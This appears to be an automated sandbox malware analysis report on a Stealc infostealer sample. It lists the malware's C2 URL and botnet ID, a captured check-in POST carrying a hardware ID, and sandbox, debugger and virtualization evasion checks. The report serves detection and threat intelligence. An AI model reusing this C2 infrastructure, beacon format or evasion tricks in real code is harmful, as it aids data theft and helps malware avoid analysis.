Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538072
MD5:	e6bd9e89d78f9970ffe0edaba03dc207
SHA1:	d796439cf7a49abf6a7e19808f6e9da46c40e461
SHA256:	20fe22c7cf9c1c920267161320319a6d7b31354826d68c6bca2b188633cfc181
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 5084 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E6BD9E89D78F9970FFE0EDABA03DC207)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2090253153.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5084	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5084	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.4f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T09:40:08.469842+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.4f0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_004FC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004F7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004F9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_004F9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00508EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00508EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00504910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00504910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004FDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_004FE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00504570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00504570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_004FED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_004FBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004FDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004F16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FF68A FindFirstFileA,	0_2_004FF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00503EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00503EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004FF6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 42 45 34 35 33 30 31 33 42 46 31 30 37 39 32 30 39 30 34 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="hwid"09BE453013BF1079209047------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="build"doma------ECGIIIDAKJDHJKFHIEBF--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_004F4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 42 45 34 35 33 30 31 33 42 46 31 30 37 39 32 30 39 30 34 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="hwid"09BE453013BF1079209047------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="build"doma------ECGIIIDAKJDHJKFHIEBF--

Source: file.exe, 00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37$
Source: file.exe, 00000000.00000002.2144242993.0000000001302000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2144242993.0000000001317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2144242993.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/curity=Impersonation
Source: file.exe, 00000000.00000002.2144242993.0000000001317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2144242993.0000000001317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: file.exe, 00000000.00000002.2144242993.0000000001336000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpa
Source: file.exe, 00000000.00000002.2144242993.0000000001317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2144242993.0000000001336000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpm
Source: file.exe, 00000000.00000002.2144242993.0000000001317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpr

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D5A7E	0_2_007D5A7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B82DA	0_2_008B82DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B8BD7	0_2_008B8BD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BCCE6	0_2_008BCCE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B3C2D	0_2_008B3C2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB5DB	0_2_009AB5DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098F5E9	0_2_0098F5E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BDD05	0_2_008BDD05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B2553	0_2_008B2553
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00867D7C	0_2_00867D7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009726B9	0_2_009726B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C4E1B	0_2_007C4E1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00763EC1	0_2_00763EC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B566B	0_2_008B566B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BFFAC	0_2_008BFFAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00781F83	0_2_00781F83

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004F45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: bzasfecw ZLIB complexity 0.9950260495318635

Source: file.exe, 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2090253153.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00509600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00509600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00503720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00503720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\4VWSQKQ3.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1851392 > 1048576

Source: file.exe

Static PE information: Raw size of bzasfecw is bigger than: 0x100000 < 0x19de00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.4f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;bzasfecw:EW;cqfnmftx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;bzasfecw:EW;cqfnmftx:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00509860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00509860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c5783 should be: 0x1d1afb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: bzasfecw
Source: file.exe	Static PE information: section name: cqfnmftx
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B608F push 6708C69Ch; mov dword ptr [esp], esi	0_2_009B5FDC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009570DE push ecx; mov dword ptr [esp], 7DE5FAA4h	0_2_0095710D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009570DE push ebp; mov dword ptr [esp], 671C3064h	0_2_0095713E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009570DE push ebp; mov dword ptr [esp], 40B82DCCh	0_2_00957169
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097C0C0 push edi; mov dword ptr [esp], ecx	0_2_0097C0FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050B035 push ecx; ret	0_2_0050B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB8F7 push ebp; mov dword ptr [esp], 5E1FC633h	0_2_009AB92E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AB8F7 push ebx; mov dword ptr [esp], ebp	0_2_009AB954
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009478EF push 5EA79727h; mov dword ptr [esp], eax	0_2_00947936
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00940806 push edx; mov dword ptr [esp], ebx	0_2_00940AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E9026 push edx; mov dword ptr [esp], eax	0_2_008E9076
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098B866 push 6E458D10h; mov dword ptr [esp], eax	0_2_0098B90E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00836993 push ecx; mov dword ptr [esp], 3655F577h	0_2_008369D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00836993 push eax; mov dword ptr [esp], 00000000h	0_2_008369DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00836993 push ebx; mov dword ptr [esp], 210159ADh	0_2_008369FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009479B0 push eax; mov dword ptr [esp], 53F81215h	0_2_009479D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093F9A7 push 3F178CF2h; mov dword ptr [esp], ebp	0_2_0093F9F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DD9DD push edx; mov dword ptr [esp], ebx	0_2_009DDA20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DD9DD push 1EF31658h; mov dword ptr [esp], eax	0_2_009DDAAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008551C7 push ebp; mov dword ptr [esp], eax	0_2_0085521E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008551C7 push 14B8E45Fh; mov dword ptr [esp], ebx	0_2_00855226
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008551C7 push ecx; mov dword ptr [esp], 4F9F1E1Ah	0_2_00855240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092E901 push eax; mov dword ptr [esp], ebp	0_2_0092E941
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091010E push 4EC9E7CAh; mov dword ptr [esp], eax	0_2_00910139
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091010E push edx; mov dword ptr [esp], eax	0_2_0091014A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091010E push 0A4D6EE7h; mov dword ptr [esp], edx	0_2_0091025A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093F13B push eax; mov dword ptr [esp], 2BA2E260h	0_2_0093F14F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093F13B push edx; mov dword ptr [esp], ebx	0_2_0093F1AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093F13B push 5C2CF181h; mov dword ptr [esp], esp	0_2_0093F22F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A092E push edx; mov dword ptr [esp], esi	0_2_009A13C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A092E push esi; mov dword ptr [esp], ebx	0_2_009A13F1

Source: file.exe

Static PE information: section name: bzasfecw entropy: 7.953590120742498

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00509860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13419

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD7E4 second address: 8BD7EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4A0C second address: 8C4A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4A12 second address: 8C4A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4A16 second address: 8C4A4F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F98219BDB75h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f jmp 00007F98219BDB79h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4A4F second address: 8C4A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F9820CD6B96h 0x00000009 jmp 00007F9820CD6BA1h 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9820CD6BA1h 0x00000018 jmp 00007F9820CD6BA1h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4BA5 second address: 8C4BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F98219BDB6Dh 0x00000009 jmp 00007F98219BDB70h 0x0000000e pushad 0x0000000f jmp 00007F98219BDB79h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4D59 second address: 8C4D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 rdtsc
